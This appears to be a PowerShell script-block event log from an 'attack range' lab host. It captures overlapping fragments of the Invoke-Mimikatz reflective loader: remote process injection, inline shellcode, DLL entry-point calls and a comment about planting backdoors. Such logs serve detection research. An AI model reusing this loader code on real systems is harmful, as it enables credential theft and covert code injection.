4104152150x0135657Microsoft-Windows-PowerShell/Operationalwin-host-mhaag-attack-range-1811Function Main { $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $Win32Constants = Get-Win32Constants $RemoteProcHandle = [IntPtr]::Zero #If a remote process to inject in to is specified, get a handle to it if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) { Throw "Can't supply a ProcId and ProcName, choose one or the other" } elseif ($ProcName -ne $null -and $ProcName -ne "") { $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) if ($Processes.Count -eq 0) { Throw "Can't find process $ProcName" } elseif ($Processes.Count -gt 1) { $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId Write-Output $ProcInfo Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." } else { $ProcId = $Processes[0].ID } } #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) # { # Write-Verbose "Getting SeDebugPrivilege" # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants # } if (($ProcId -ne $null) -and ($ProcId -ne 0)) { $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) if ($RemoteProcHandle -eq [IntPtr]::Zero) { Throw "Couldn't obtain the handle for process ID: $ProcId" } Write-Verbose "Got the handle for the remote process to inject in to" } #Load the PE reflectively Write-Verbose "Calling Invoke-MemoryLoadLibrary" try { $Processors = Get-WmiObject -Class Win32_Processor } catch { throw ($_.Exception) } if ($Processors -is [array]) { $Processor = $Processors[0] } else { $Processor = $Processors } if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) { Write-Verbose ( "Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8)) Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop } #Determine whether or not to use 32bit or 64bit bytes if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) { [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) } else { [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) } $PEBytes[0] = 0 $PEBytes[1] = 0 $PEHandle = [IntPtr]::Zero if ($RemoteProcHandle -eq [IntPtr]::Zero) { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs } else { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle } if ($PELoadedInfo -eq [IntPtr]::Zero) { Throw "Unable to load PE, handle returned is NULL" } $PEHandle = $PELoadedInfo[0] $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) { ######################################### ### YOUR CODE GOES HERE ######################################### Write-Verbose "Calling function with WString return type" [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "powershell_reflective_mimikatz" if ($WStringFuncAddr -eq [IntPtr]::Zero) { Throw "Couldn't find function address." } $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) if ($OutputPtr -eq [IntPtr]::Zero) { Throw "Unable to get output, Output Ptr is NULL" } else { $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) Write-Output $Output $Win32Functions.LocalFree.Invoke($OutputPtr); } ######################################### ### END OF YOUR CODE ######################################### } #For remote DLL injection, call a void function which takes no parameters elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) { $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) { Throw "VoidFunc couldn't be found in the DLL" } $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions } #Don't free a library if it is injected in a remote process if ($RemoteProcHandle -eq [IntPtr]::Zero) { Invoke-MemoryFreeLibrary -PEHandle $PEHandle } else { #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue } } Write-Verbose "Done!" }4b8a7d64-4d86-46f4-b7e3-266988fc4f4e 4104132150x0135655Microsoft-Windows-PowerShell/Operationalwin-host-mhaag-attack-range-1899d $ProcName -ne "") { $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) if ($Processes.Count -eq 0) { Throw "Can't find process $ProcName" } elseif ($Processes.Count -gt 1) { $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId Write-Output $ProcInfo Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." } else { $ProcId = $Processes[0].ID } } #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) # { # Write-Verbose "Getting SeDebugPrivilege" # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants # } if (($ProcId -ne $null) -and ($ProcId -ne 0)) { $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) if ($RemoteProcHandle -eq [IntPtr]::Zero) { Throw "Couldn't obtain the handle for process ID: $ProcId" } Write-Verbose "Got the handle for the remote process to inject in to" } #Load the PE reflectively Write-Verbose "Calling Invoke-MemoryLoadLibrary" try { $Processors = Get-WmiObject -Class Win32_Processor } catch { throw ($_.Exception) } if ($Processors -is [array]) { $Processor = $Processors[0] } else { $Processor = $Processors } if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) { Write-Verbose ( "Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8)) Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop } #Determine whether or not to use 32bit or 64bit bytes if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) { [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) } else { [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) } $PEBytes[0] = 0 $PEBytes[1] = 0 $PEHandle = [IntPtr]::Zero if ($RemoteProcHandle -eq [IntPtr]::Zero) { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs } else { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle } if ($PELoadedInfo -eq [IntPtr]::Zero) { Throw "Unable to load PE, handle returned is NULL" } $PEHandle = $PELoadedInfo[0] $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) { ######################################### ### YOUR CODE GOES HERE ######################################### Write-Verbose "Calling function with WString return type" [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "powershell_reflective_mimikatz" if ($WStringFuncAddr -eq [IntPtr]::Zero) { Throw "Couldn't find function address." } $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) if ($OutputPtr -eq [IntPtr]::Zero) { Throw "Unable to get output, Output Ptr is NULL" } else { $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) Write-Output $Output $Win32Functions.LocalFree.Invoke($OutputPtr); } ######################################### ### END OF YOUR CODE ######################################### } #For remote DLL injection, call a void function which takes no parameters elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) { $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) { Throw "VoidFunc couldn't be found in the DLL" } $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions } #Don't free a library if it is injected in a remote process if ($RemoteProcHandle -eq [IntPtr]::Zero) { Invoke-MemoryFreeLibrary -PEHandle $PEHandle } else { #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue } } Write-Verbose "Done!" } Main }9e58e9b3-01dd-423a-968a-158a1b69e067 4104132150x0135223Microsoft-Windows-PowerShell/Operationalwin-host-mhaag-attack-range-189211IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) if ($PEHandle -eq [IntPtr]::Zero) { Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." } [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null #Now that the PE is in memory, get more detailed information about it Write-Verbose "Getting detailed PE information from the headers loaded in memory" $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" #Copy each section from the PE in to memory Write-Verbose "Copy PE sections in to memory" Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types #The PE we are in-memory loading has DLLs it needs, import those DLLs for it Write-Verbose "Import DLL's needed by the PE we are loading" if ($RemoteLoading -eq $true) { Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle } else { Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants } #Update the memory protection flags for all the memory just allocated if ($RemoteLoading -eq $false) { if ($NXCompatible -eq $true) { Write-Verbose "Update memory protection flags" Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types } else { Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" } } else { Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" } #If remote loading, copy the DLL in to remote process memory if ($RemoteLoading -eq $true) { [UInt32]$NumBytesWritten = 0 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw "Unable to write shellcode to remote process memory." } } #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function if ($PEInfo.FileType -ieq "DLL") { if ($RemoteLoading -eq $false) { Write-Verbose "Calling dllmain so the DLL knows it has been loaded" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null } else { $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) if ($PEInfo.PE64Bit -eq $true) { #Shellcode: CallDllMain.asm $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { #Shellcode: CallDllMain.asm $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) } $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } } elseif ($PEInfo.FileType -ieq "EXE") { #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null while($true) { [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) if ($ThreadDone -eq 1) { Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants Write-Verbose "EXE thread has completed." break } else { Start-Sleep -Seconds 1 } } } return @($PEInfo.PEHandle, $EffectivePEHandle) } Function Invoke-MemoryFreeLibrary { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $PEHandle ) #Get Win32 constants and functions $Win32Constants = Get-Win32Constants $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants #Call FreeLibrary for all the imports of the DLL if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) { [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) while ($true) { $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) #If the structure is null, it signals that this is the end of the array if ($ImportDescriptor.Characteristics -eq 0 ` -and $ImportDescriptor.FirstThunk -eq 0 ` -and $ImportDescriptor.ForwarderChain -eq 0 ` -and $ImportDescriptor.Name -eq 0 ` -and $ImportDescriptor.TimeDateStamp -eq 0) { Write-Verbose "Done unloading the libraries needed by the PE" break } $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) if ($ImportDllHandle -eq $null) { Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue } $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) if ($Success -eq $false) { Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue } $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) } } #Call DllMain with process detach Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue } } Function Main { $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $Win32Constants = Get-Win32Constants $RemoteProcHandle = [IntPtr]::Zero #If a remote process to inject in to is specified, get a handle to it if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) { Throw "Can't supply a ProcId and ProcName, choose one or the other" } elseif ($ProcName -ne $null -and $ProcName -ne "") { $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) if ($Processes.Count -eq 0) { Throw "Can't find process $ProcName" } elseif ($Processes.Count -gt 1) { $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId Write-Output $ProcInfo Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." } else { $ProcId = $Processes[0].ID } } #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) # { # Write-Verbose "Getting SeDebugPrivilege" # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants # } if (($ProcId -ne $null) -and ($ProcId -ne 0)) { $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) if ($RemoteProcHandle -eq [IntPtr]::Zero) { Throw "Couldn't obtain the handle for process ID: $ProcId" } Write-Verbose "Got the handle for the remote process to inject in to" } #Load the PE reflectively Write-Verbose "Calling Invoke-MemoryLoadLibrary" try { $Processors = Get-WmiObject -Class Win32_Processor } catch { throw ($_.Exception) } if ($Processors -is [array]) { $Processor = $Processors[0] } else { $Processor = $Processors } if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) { Write-Verbose ( "Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8)) Write-Error "PowerShell architecturca01fcea-474b-436a-adb2-5525b572a163